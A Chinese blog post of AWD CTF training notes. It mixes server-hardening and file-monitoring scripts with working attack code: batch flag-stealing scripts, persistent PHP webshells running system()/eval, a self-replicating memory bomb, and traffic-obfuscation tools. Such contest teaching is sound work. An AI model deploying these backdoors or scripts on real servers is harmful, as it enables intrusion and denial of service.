apsry

去留无意,宠辱不惊

0%

AWD培训

要去给别人培训,所以总结了下

AWD赛制

百度百科:https://baike.baidu.com/item/AWD%E8%B5%9B%E5%88%B6/24705704

通过别人的实战理解比较好:https://err0r.top/article/2021ciscnawd/

img

比赛形式

  1. 比赛开始前会给每支队伍分配 SSH 账号,比赛开始用该账号登录服务器进行维护(多为 Linux 服务器)。
  2. 在服务器的某处有一个 flag 文件,默认没有权限修改,一般在根目录下。
  3. 主办方每隔一定时间,进行一轮刷新。一轮内一支队伍的 flag 只能被提交一次,flag 一旦被拿走将扣除该队的分数。
  4. 主办方会对服务进行 check,一般的判断标准就是服务是否还存在。

扣除的积分由获取 flag 的队伍均分。

一般一个队伍由三人组成。负责两个方面:一方面负责防守加固、做基线、加WAF、流量回放等等。一方面负责源码审计、写攻击脚本、维持权限、持续渗透,具体怎么安排都视三人能力而定。

AWD前期准备

用户管理

检查可登陆用户

  • cat /etc/passwd|grep -v nologin

修改ssh密码

因为给的ssh密码可能是弱口令或者有规律

1
2
passwd username
# 输入密码确认即可

权限管理

检查crontab执行权限

  • /var/adm/cron/ 下看cron.allowcron.deny, 如果两个文件都不存在,则只有root 用户能执行crontab 命令,allow 里存放允许的用户,deny 里存放拒绝的用户,以allow 为准。

数据库

修改数据库密码及备份数据库(以 mysql 为例)

修改 mysql 密码

1
2
3
4
5
6
7
8
9
10
11
12
1. 登录 mysql 终端,运行:
mysql> set password=password('new passwd');
mysql>flush privileges;
2. 修改 mysql user 表
mysql>use mysql;
mysql>update user set password=password('new password') where user='root';
mysql>flush privileges;
3. 使用 GRANT 语句
mysql>GRANT ALL PRIVILEGES ON *.* TO 'root'@'127.0.0.1' IDENTIFIED BY 'new password' WITH GRANT OPTION;
mysql>flush privileges;
4. mysqladmin
[root@ubuntu]# mysqladmin -u root passwd "new passwd";(注意双引号或不加)

备份指定的多个数据库

1
[root@ubuntu]# mysqldump -u root -p --databases databasesname > /tmp/db.sql

数据库恢复,在mysql终端下执行

备份/还原数据库

1
2
3
4
5
mysql -uroot -proot -e "select user,host from mysql.user;"
mysqldump -uroot -proot db_name > /tmp/bak.sql
mysqldump -uroot -proot --all-databases > bak.sql
mysql -uroot -proot db_name < bak.sql
> source bak.sql # 交互模式下导入sql

关闭mysql远程连接

1
2
3
4
5
mysql -u root -p
mysql> use mysql;
mysql> update user set host = 'localhost' where user='root' and host='%';
mysql> flush privileges;
mysql> exit;

源码

源码备份

1
2
3
4
# 打包目录
tar -zcvf archive_name.tar.gz directory_to_compress
# 解包
tar -zxvf archive_name.tar.gz

之后使用 scp 命令或者 winscp,mobaxterm 等工具下载打包后的源码

上 WAF

注意waf可能会把check给拦了,这个时候记得把waf关了

1
2
# 批量加waf /var/www/html/ 目录下每个 php 文件前加上 <?php require_once "/tmp/waf.php";?>
find /var/www/html -path /var/www/html -prune -o -type f -name '*.php'|xargs sed -i '1i<?php require_once "/tmp/waf.php";?>'

也可以修改 php.ini 的 auto_prepend_file 属性,但一般不会有重启 php 服务权限

1
2
3
; Automatically add files before PHP document.
; http://php.net/auto-prepend-file
auto_prepend_file = /tmp/waf.php

附上郁离歌的一枚 WAF,会在 /tmp/loooooooogs 目录下生成日志文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php

error_reporting(0);
define('LOG_FILEDIR','/tmp/loooooooogs');
if(!is_dir(LOG_FILEDIR)){
mkdir(LOG_FILEDIR);
}
function waf()
{
if (!function_exists('getallheaders')) {
function getallheaders() {
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_')
$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
}
return $headers;
}
}
$get = $_GET;
$post = $_POST;
$cookie = $_COOKIE;
$header = getallheaders();
$files = $_FILES;
$ip = $_SERVER["REMOTE_ADDR"];
$method = $_SERVER['REQUEST_METHOD'];
$filepath = $_SERVER["SCRIPT_NAME"];
foreach ($_FILES as $key => $value) {
$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
file_put_contents($_FILES[$key]['tmp_name'], "virink");
}

unset($header['Accept']);
$input = array("Get"=>$get, "Post"=>$post, "Cookie"=>$cookie, "File"=>$files, "Header"=>$header);

logging($input);

}

function logging($var){
$filename = $_SERVER['REMOTE_ADDR'];
$LOG_FILENAME = LOG_FILEDIR."/".$filename;
$time = date("Y-m-d G:i:s");
file_put_contents($LOG_FILENAME, "\r\n".$time."\r\n".print_r($var, true), FILE_APPEND);
file_put_contents($LOG_FILENAME,"\r\n".'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'], FILE_APPEND);
file_put_contents($LOG_FILENAME,"\r\n***************************************************************",FILE_APPEND);
}

waf();
?>

生成的日志是 www-data 权限,一般 ctf 权限是删除不了的。上好 WAF 之后做好打包备份,除了源文件一份备份,我一般上好 WAF ,打好补丁还会做备份。

一些软waf

软waf部署起来比较麻烦,而且对环境要求高,所以用来借鉴就可以了。如果合适的话可以布置。

https://github.com/admintony/Prepare-for-AWD

PHP软waf

1
https://github.com/leohearts/awd-watchbird
  • 将waf.so、watchbird.php文件存放在/var/www/html或其他目录中。
  • 将watchbird.php放在www-data可读的目录, 确保当前用户对目标目录可写, 然后执行。
1
php watchbird.php --install /web
  • 访问任意启用了waf的文件, 参数?watchbird=ui
  • 如需卸载, 请在相同的位置输入:
1
php watchbird.php --uninstall [Web目录]
  • 项目地址:https://github.com/ss8651twtw/pcap-search

  • 首先在kali中安装docker:

  • 使用docker的官方教程安装失败,报错Updating from such a repository can't be done securely, and is therefore disabled by default.

1
2
3
4
5
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -
sudo sh -c "echo 'deb https://download.docker.com/linux/debian stretch stable' > /etc/apt/sources.list.d/docker.list"
sudo apt-get install apt-transport-https ca-certificates curl gnupg2 software-properties-common
sudo apt-get update
sudo apt install docker.io
  • 安装pcap-search:
1
2
3
git clone https://github.com/ss8651twtw/pcap-search.git
cd pcap-search/docker
./build_docker.sh
  • 运行pcap-search后,使用指定的端口即可访问:
1
2
./run_docker.sh [the pcap directory you want to mount] [port] [name]
./run_docker.sh /home/secc/Desktop/cap 8080 pcap-search
  • 抓包:

    1
    2
    socat tcp-l:9875,fork exec:/home/secc/Desktop/ciscn_2019_es_2
    tcpdump -i eth1 port 9875 -w 1.cap # 注意这里一定要指定网卡(-i eth1),使用-i any是解析不出来的
    • 打完流量后,按Ctrl+C停止抓包,并保存流量包文件。
  • 将流量包建在二级目录下:

    • 将我们之前运行时指定的目录看作为根目录的话,需要在根目录下再新建一个文件夹,例如项目“pwn1”。将生成的cap文件拷贝到文件夹中,项目自己会自动生存cap.apcap.ap.fm文件。再次访问网页就可以查询到包中的流量了。
    1
    2
    3
    4
    5
    cap
    └── pwn1
    ├── 1.cap
    ├── 1.cap.ap
    └── 1.cap.ap.fm

image-20210901201301492

  • 可以根据流量包自动生成脚本重放(由于只是对流量的完全重放,所以如果有泄露地址,这个功能就有些鸡肋了):
image-20210901194633454

AWD攻击

快速主机发现

nmap

nmap -sn 192.168.0.0/24

goby+masscan

goby

https://gobies.org/

可以结合goby商城下载msscan,扫的更快

根据自己主机开放的端口

简单来说,大家的主机配置都是一样的,所以主机开了什么端口,其它的目标机器也开了什么端口,直接扫相同的端口即可

代码审计

seay代码审计工具

先快速找一波,再用D盾扫

1
2
3
4
5
6
7
8
9
10
11
12
13
find . -name '*.php' | xargs grep -n 'eval('

find . -name '*.php' | xargs grep -n 'assert('

find . -name '*.php' | xargs grep -n 'system('

find . -name '*.php' | xargs grep -n 'shell_exec'

find . -name '*.php' | xargs grep -n 'exec'

find . -name '*.php' | xargs grep -n 'proc_open'

find . -name '*.php' | xargs grep -n 'preg_replace'

然后可以用D盾扫看有没有后门

seay白盒审计,可以用全局搜索函数

审计

Snipaste_2021-09-24_11-01-33

全局搜索

Snipaste_2021-09-24_11-01-19

fortity

具体用法,可以扫描一些其它语言

https://blog.csdn.net/weixin_52515588/article/details/124320421

D盾扫后门

http://www.d99net.net/

有些比赛会给你留一个简单的后门,这个时候一般D盾能扫描出来

批量攻击

一些批量脚本

仅供参考,使用前请提前调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
import requests,time,re,base64,sys,os,random,itertools,logging,html,json
from concurrent.futures import ThreadPoolExecutor
from optparse import OptionParser

# global var
debug = True
url_flag = 'http://49.234.101.119/submit.php'
url_list = ['49.234.101.119'] * 10
url_list = ['http://{}/sdnasdhasohdaus.php?cmd=cat /flag'.format(url) for url in url_list]
round_time = 3 # minutes
success_string = b'success'
single = False # 控制单线程还是多线程
options = []
args = []

def display(info):
print("="*40,info,"="*40)
def tell_me_time():
return time.strftime('%H:%M:%S')

# function about time to sleep
def sleep_minute(minute):
time.sleep(minute*60)

def sleep_second(second):
time.sleep(second)

def log_info(message):
logging.basicConfig(level='INFO',
filename='flag.log',
filemode='a')
logging.info(message)

def set_option():
global options,args
parser = OptionParser(usage='Usage: python %prog [options] type')
parser.add_option('-u','--url',type=str,dest='url',default='http://127.0.0.1',help='target ip')
parser.add_option('-l','--url_list',type=str,dest='url_list',help='target ip list')
parser.add_option('-t','--timeout',type=int,dest='timeout',default=2,help='timeout')
parser.add_option('-n','--threadnum',type=int,dest='threadnum',default=10,help='threadnum')
parser.add_option('-p','--type',type=str,dest='request_type',default='post',help='request type')
parser.add_option('-r','--round',type=int,dest='round',default=10,help='total round')
parser.add_option('-d','--debug',type=int,dest='debug',default=0,help='debug mode')
parser.add_option('-m','--max_try_time',type=int,dest='max_try_time',default=1,help='max retry time')
(options, args) = parser.parse_args(sys.argv)
parser.print_help()

def exploit(url):
data = {'cmd':'whoami'}
cookies = {}
headers = {}
r = requests.get(url=url,data=data,cookies=cookies,headers=headers)
result = re.findall("(flag{.*?})",r.content.decode('utf-8'))
if result is None:
return ''
else:
return result[0]

def submit(flag):
data = {'flag':flag}
cookies = {'session':'123'}
r = requests.post(url=url_flag,cookies=cookies)
return success_string in r.content

def task(url):
flag = exploit(url)
print('{} [FLAG={}] ip {}'.format(tell_me_time(),flag,url))
status = submit(flag)
if status:
print('{} [OK] ip {}'.format(tell_me_time(),url))
else:
print('{} [FAILED] ip {}'.format(tell_me_time(),url))

def main():
# set_option() 暂时不需要
cnt = 1
display("[URL LIST]")
print('\n'.join(url_list))
while True:
print('='*40,'[ROUND {}]'.format(cnt),'='*40)
cnt += 1
if single == True:
# single
print('[single] ...........')
for url in url_list:
task(url)
else:
# multi_threading
thread_list = []
p = ThreadPoolExecutor(len(url_list))
for url in url_list:
obj = p.submit(task,url)
thread_list.append(obj)
p.shutdown()
# sleep_minute(round_time) # 建议不用休眠太长
sleep_second(20)
if __name__ == '__main__':
main()


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
import requests
import os
import time
#context.log_level = 'debug'
#io = remote('192-168-1-'+str(103)+'.awd.bugku.cn',9999)



#a=[228]
flag = ''
#for i in a:
def subflag(flag):
io.sendlineafter('> ','a="./flag"')
io.sendlineafter('> ','read(a)')
a=io.recvuntil('> ')
print(a)
flag = re.findall(r'[0-9A-Za-z]{60}',a)
print(flag)
try:
flag = flag[0]

url = 'http://192.168.1.200/api/v1/att_def/web/submit_flag/?event_id=10'
data = {"flag":flag,"token":"FBWQwm84r3muFs49JHcf6YxeUaARHXDK75ntt9QWGxhQY"}
# print(ip)
print(flag)
res = requests.post(url=url,data=data,timeout=2)
print(res.text)
except:
pass
for i in range(1,23):
try:
io = remote('172.35.'+str(i)+'.15',9999)
subflag(flag)

print(flag)
except:
io.close()


burp的tips

burp的host爆破和request插件

流量重放

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import socket
import re
import sys
import os

if len(sys.argv) != 3:
print ("Usage: python repost.py [log_dir] [regex]")
exit()

dir = os.listdir(sys.argv[1])

for i in dir:
file = open(sys.argv[1] + '/' + i)
content = file.read()

host = re.findall("Host: (.*)\n", content)[0].strip()
if host.find(":") != -1:
port = host.split(":")[1]
host = host.split(":")[0]
else:
port = "80"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, int(port)))
sock.sendall(content)
reply = sock.recv(4096)
if len(re.findall(sys.argv[2], reply)):
print content # send
else:
continue

print "finish"

简单来说就是抓取别的队伍的exp或者check的流量直接改目标重放来进行攻击

https://github.com/Jeffz615/autoTcpReplay

https://cloud.tencent.com/developer/news/267902

https://github.com/wupco/weblogger

流量混淆

由于攻击代码可能会被别人进行流量的分析,从而自己找到的漏洞就被别人轻易获取,这个时候流量混淆就变得非常重要了。

所以拿到代码测试flag一般打NPC,或者自己的靶机,而不是直接不加密去拿别人的flag,这样有被重放的风险

一些混淆的链接

https://flag0.com/2018/09/15/AWD%E6%B5%81%E9%87%8F%E6%B7%B7%E6%B7%86/

简单的干扰脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
#encoding=utf-8
import requests
import random
import io
from urllib.parse import urlencode
import threading
import time
import base64

#生成ip列表
def ip_list():
global iplist
iplist = []
for a in range(0, 1):
i = "182.92.91.240" #根据实际情况改
#i = "172.16.206."+str(a)
iplist.append(i)
#获取目录名
def Get_catalog():
with io.open('catalog.txt', 'r', encoding='UTF-8') as f:
catalog = f.read().split('|')
return catalog
#获取文件名
def Get_doc():
with io.open('doc.txt', 'r', encoding='UTF-8') as f:
doc = f.read().strip().split('|')
return doc
#获取请求内容
def Get_cmd():
with io.open('cmd.txt', 'r', encoding='UTF-8') as f:
cmds = f.readlines()
cmds = [cmd.strip() for cmd in cmds]
return cmds
#获取cookie
def Get_cookie():
with io.open('useragent.txt', 'r', encoding='UTF-8') as f:
user_agents = f.readlines()
user_agents = [base64.b64encode((ua.strip()[21:40]).encode()) for ua in user_agents] #hashlib.md5(b"asdasd")
return user_agents
#构造url
def Build_url(ip,catalog,doc):
catalog = random.choice(Get_catalog())
#print(catalog)
doc = random.choice(Get_doc())
url = 'http://' + ip + '/' + catalog + '/' + doc
return url
#随机浏览器
def headerbuild(cookie):
#随机浏览器
with io.open('useragent.txt', 'r', encoding='UTF-8') as f:
user_agents = f.readlines()
user_agents = [ua.strip() for ua in user_agents]
#http头
headers= {
#'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0',
'User-Agent':random.choice(user_agents),
'Cookie': cookie,
'X-Requested-With': 'XMLHttpRequest',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
#'Referer': referer,
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept': '*/*',
}
return headers
#请求
def StartRequest(method, url, data = None, cookies = None, timeout = 3):
#print(url)
headers= headerbuild(cookies)
#print(method)
#print(headers)
if method.lower() == 'get':
url = url+ '?' + data
try:
request = requests.get(url=url, headers=headers, timeout=timeout)
except Exception as e:
pass
if method.lower() == 'post':
values = dict()
if data:
values_list = data.strip().split('&')
for val in values_list:
values[val.split('=')[0]] = val.split('=')[1]
data = urlencode(values)
try:
request = requests.post(url = url,data = data,headers = headers,proxies={"http":"127.0.0.1:8080"})
#print(request.text)
except Exception as e:
pass
#注意解码使用的方式
#print(request.content.decode('GB2312'))
#print(request.content.decode('utf8'))




if __name__ == '__main__':
#获取所需数据
cmds = Get_cmd()
catalog = Get_catalog()
doc = Get_doc()
cookies = Get_cookie()
ip_list()
myip = '0.0.0.0' #自己的ip
threads=10 #改成自己想要的最大进程
#发起请求
while 1:
for ip in iplist:
#print(ip)
if ip==myip:
continue
url = Build_url(ip,catalog,doc)
#print(url)
data = random.choice(cmds)

cookie = random.choice(cookies)
while (threading.activeCount() > threads):
time.sleep(1)
#print threading.activeCount()
Req_method = random.choice(['get','post'])
t1 = threading.Thread(target=StartRequest, args=(Req_method,url,data,cookie,)) #StartRequest(Req_method,url,data,cookie,)
t1.start()

还有一些其它的流量混淆脚本具体可以网上找找,这里就不过多介绍了。

权限维持

不死马+流量混淆

1
ignore_user_abort(true);

函数设置与客户机断开是否会终止脚本的执行。这里设置为true则忽略与用户的断开,即使与客户机断开脚本仍会执行。

1
set_time_limit()

函数设置脚本最大执行时间。这里设置为0,即没有时间方面的限制

1
unlink(__FILE__)

删除文件本身,以起到隐蔽自身的作用。
先上传下面这个dead.php

1
2
3
4
5
6
7
8
9
10
11
12
13
pass=00O00OO00O0OOO0OO00OO000O0OO0OOO00OO0000OOOOOO0000
<?php
echo 'godspeed';
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.config.php';
$code = '<?php if(md5($_GET["pass"])=="242991be1885bca41407f38a170433aa"){@system($_POST["cmd"]);}else{echo "flag{8b7aa1b23253699eb88c1f18c0469fcb}";} ?>';
while (1){
file_put_contents($file,$code);
usleep(50);
}
?>

uuid版本要换一下flag flag{d7ac2d98-eda9-11ea-bbcf-525400554ea8}
注意下,pass不正确我们会返回一个假flagflag{8b7aa1b23253699eb88c1f18c0469fcb} 如果别人想抄我们作业不一定看得出来噢
上传后访问dead.php 注意由于代码里会把dead.php自身删掉了,访问的时候你会发现么有响应,这就说明不死马已经写进内存
访问.config.php?pass=moresec2020
然后post一个cmd参数即可
我想了一下,为防止别人抄作业,我们可以随机pass哈哈哈哈哈哈哈哈哈
欢迎分析流量(分析其实也很简单,cat一下真实的flag,流量里对比着找pass就可以了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import random
for i in range(10):
... print(''.join(random.sample(['O','0']*50,50)))
...
O00OO000OO000O00O000O00O0OO0O00OO0OOO00O0OOOO0000O
000OO0000OO00000OOOO0O0OOOO00OO000OO0000OOOO00O0OO
O0O0OOOOO00OO000O0O0O000OOO0OOO00OOO00000O0O00O0O0
0O00O00OOOOOO00O000O00O00OO000O00000OOO0O00OO00O00
000000O0OOO0OOO0OO000OOOO0OO0O000OO000OOOO00OOO000
0O00O00OO0OOO0O0O0OO000OOO000000OOO0000OOOO0000O0O
O000OOO0OOO000000OO0O00000OO0O000O0OO0O00O000OO0O0
OO0OO0O000OO0OO0O00OO00000000OO000O0O0O0OO0OO00O0O
OOO0O0OOO000O000O000O0O00O00OO00O0000O0OOO0OO00000
0O000000OO00O000O00OO0OO00O00O0O0O0OOO0OOOO0O00OOO

上面的不死马也很好克制,我们再写一个kill_dead.php 运行一下就好了

1
2
3
4
5
6
7
8
9
10
11
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.config.php';
$code = '';
while (1){
file_put_contents($file,$code);
usleep(5000);
}
?>

bash克制方式 相当于删完文件后创一个同名文件夹 不死马就没法创建了

1
2
3
4
5
#!/bin/bash
directory="/var/www/html/.config.php/"
file="/var/www/html/.config.php"
rm -rf $file
mkdir $directory

一句话 经测试最快 中木马后可以立即使用,之后再慢慢清理进程

1
rm .config.php && mkdir .config.php/

不死马不管怎么写都是有克制的办法的,核心就是循环写他,速度比攻击者快就好了,或者创一个同名文件夹占用掉filename

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
echo "ok";
set_time_limit(0);
ignore_user_abort(1);
//$file = $_SERVER['DOCUMENT_ROOT'] . '/.index.php';
$file = '/var/www/html/.index.php';
$pass = 'cao233';
$content = '<?php if(md5($_POST["pass"])=="429ff12ab245018967830cd551b126d5"){@eval($_POST["cao233"]);}?>';
unlink(__FILE__);
while(1) {
if(!file_exists($file) || md5(file_get_contents($file)) != md5($content))
file_put_contents($file, $content);
}
?>


RSA不死马与流量混淆

https://xz.aliyun.com/t/4640#toc-1

骚操作

流量混淆

1
while true;do curl -b "PHPSESSID=xxxx"  -A "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.0)"  xxxxxxxxxx/merchant/classroom/into -X POST -d "flag=xxxxxx=1&roomid=12";sleep 60;done;

假flag、假curl

1
2
3
4
alias curl='echo flag{e4248e83e4ca862303053f2908a7020d}'
chmod -x /usr/bin/curl

alias cat='python -c "__import__(\"sys\").stdout.write(\"flag{%s}\\n\" % (__import__(\"hashlib\").md5(\"\".join([__import__(\"random\").choice(__import__(\"string\").letters) for i in range(0x10)])).hexdigest()))"'

内存炸弹

1
2
3
4
5
6
7
8
9
<?php
set_time_limit(0);
ignore_user_abort(1);
while(1) {
$file = mt_rand(0,time()*time()).'.php';
file_put_contents($file, file_get_contents(__FILE__));
file_get_contents("http://127.0.0.1/$file");
}
?>

AWD防守

文件监控

命令find进行文件监控

寻找最近20分钟修改的文件

1
find /var/www/html -name *.php -mmin -20

Shell监控新增文件

创建文件的时候更改文件创建时间熟悉可能监测不到。

1
2
3
4
5
6
#!/bin/bash
while true
do
find /var/www/html -cmin -60 -type f | xargs rm -rf
sleep 1
done

循环监听一小时以内更改过的文件或新增的文件,进行删除。

Python检测新增文件

放在 /var/www//var/www/html 下执行这个脚本,它会先备份当然目录下的所有文件,然后监控当前目录,一旦当前目录下的某个文件发生变更,就会自动还原,有新的文件产生就会自动删除。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
# -*- coding: utf-8 -*-
#use: python file_check.py ./

import os
import hashlib
import shutil
import ntpath
import time

CWD = os.getcwd()
FILE_MD5_DICT = {} # 文件MD5字典
ORIGIN_FILE_LIST = []

# 特殊文件路径字符串
Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'
bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'
logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'

Special_string = 'drops_log' # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"

# 文件路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),
'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),
'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
}


def isListLike(value):
return isinstance(value, (list, tuple, set))

# 获取Unicode编码
def getUnicode(value, encoding=None, noneToNull=False):
if noneToNull and value is None:
return NULL
if isListLike(value):
value = list(getUnicode(_, encoding, noneToNull) for _ in value)
return value
if isinstance(value, unicode):
return value
elif isinstance(value, basestring):
while True:
try:
return unicode(value, encoding or UNICODE_ENCODING)
except UnicodeDecodeError, ex:
try:
return unicode(value, UNICODE_ENCODING)
except:
value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
else:
try:
return unicode(value)
except UnicodeDecodeError:
return unicode(str(value), errors="ignore")

# 目录创建
def mkdir_p(path):
import errno
try:
os.makedirs(path)
except OSError as exc:
if exc.errno == errno.EEXIST and os.path.isdir(path):
pass
else: raise

# 获取当前所有文件路径
def getfilelist(cwd):
filelist = []
for root,subdirs, files in os.walk(cwd):
for filepath in files:
originalfile = os.path.join(root, filepath)
if Special_path_str not in originalfile:
filelist.append(originalfile)
return filelist

# 计算机文件MD5值
def calcMD5(filepath):
try:
with open(filepath,'rb') as f:
md5obj = hashlib.md5()
md5obj.update(f.read())
hash = md5obj.hexdigest()
return hash
except Exception, e:
print u'[!] getmd5_error : ' + getUnicode(filepath)
print getUnicode(e)
try:
ORIGIN_FILE_LIST.remove(filepath)
FILE_MD5_DICT.pop(filepath, None)
except KeyError, e:
pass

# 获取所有文件MD5
def getfilemd5dict(filelist = []):
filemd5dict = {}
for ori_file in filelist:
if Special_path_str not in ori_file:
md5 = calcMD5(os.path.realpath(ori_file))
if md5:
filemd5dict[ori_file] = md5
return filemd5dict

# 备份所有文件
def backup_file(filelist=[]):
# if len(os.listdir(Special_path['bak'])) == 0:
for filepath in filelist:
if Special_path_str not in filepath:
shutil.copy2(filepath, Special_path['bak'])

if __name__ == '__main__':
print u'---------start------------'
for value in Special_path:
mkdir_p(Special_path[value])
# 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件
ORIGIN_FILE_LIST = getfilelist(CWD)
FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG
print u'[*] pre work end!'
while True:
file_list = getfilelist(CWD)
# 移除新上传文件
diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))
if len(diff_file_list) != 0:
# import pdb;pdb.set_trace()
for filepath in diff_file_list:
try:
f = open(filepath, 'r').read()
except Exception, e:
break
if Special_string not in f:
try:
print u'[*] webshell find : ' + getUnicode(filepath)
shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))
except Exception as e:
print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath)
try:
f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n')
f.close()
except Exception as e:
print u'[-] log error : file move error: ' + getUnicode(e)

# 防止任意文件被修改,还原被修改文件
md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
for filekey in md5_dict:
if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
try:
f = open(filekey, 'r').read()
except Exception, e:
break
if Special_string not in f:
try:
print u'[*] file had be change : ' + getUnicode(filekey)
shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))
shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)
except Exception as e:
print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey)
try:
f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n')
f.close()
except Exception as e:
print u'[-] log error : done_diff: ' + getUnicode(filekey)
pass
time.sleep(2)
# print '[*] ' + getUnicode(time.ctime())

目录监控
watcher.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import os,time
from pyinotify import WatchManager, Notifier, ProcessEvent, IN_DELETE, IN_CREATE, IN_MODIFY,IN_ACCESS


def tell_me_time():
return time.strftime('%H:%M:%S')
class EventHandler(ProcessEvent):
def process_IN_CREATE(self, event):
print ("[{}] Create file:{}." .format(tell_me_time(),os.path.join(event.path,event.name)))
def process_IN_DELETE(self, event):
print ("[{}] Delete file:{}." .format(tell_me_time(),os.path.join(event.path,event.name)))
def process_IN_MODIFY(self, event):
print ("[{}] Modify file:{}." .format(tell_me_time(),os.path.join(event.path,event.name)))
def process_IN_ACCESS(self, event):
print ("[{}] Access file:{}." .format(tell_me_time(),os.path.join(event.path,event.name)))

def FsMonitor(path='.'):
wm = WatchManager()
mask = IN_DELETE | IN_CREATE | IN_MODIFY | IN_ACCESS
notifier = Notifier(wm, EventHandler())
wm.add_watch(path, mask, auto_add= True, rec=True)
print ("now starting monitor %s." %path)

while True:
try:
notifier.process_events()
if notifier.check_events():
print ("check event true.")
notifier.read_events()
except KeyboardInterrupt:
print ("keyboard Interrupt.")
notifier.stop()
break

if __name__ == "__main__":
FsMonitor("/var/www/html/")

监控1分钟内被修改的文件并删除

删除一分钟内含命令执行的文件,有询问,后面那个无询问 强制删除

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/bin/bash
while true
do
file=$(find /var/www/html/ -cmin -1 -type f -name "*.php" | xargs grep -lE 'system|passthru|exec|shell_exec|popen|proc_open|pcntl_exec')
DATE=`date '+%Y-%m-%d %H:%M'`;
echo $DATE;
echo $file;
read -r -p "是否删除[y/n]?" confirm
case $confirm in
[yY][eE][sS]|[yY])
echo $file | xargs rm
echo "delete success"
;;

[nN][oO]|[nN])
echo "No"
;;
*)
echo "Invalid input..."
exit 1
;;
esac
sleep 5

done
1
2
3
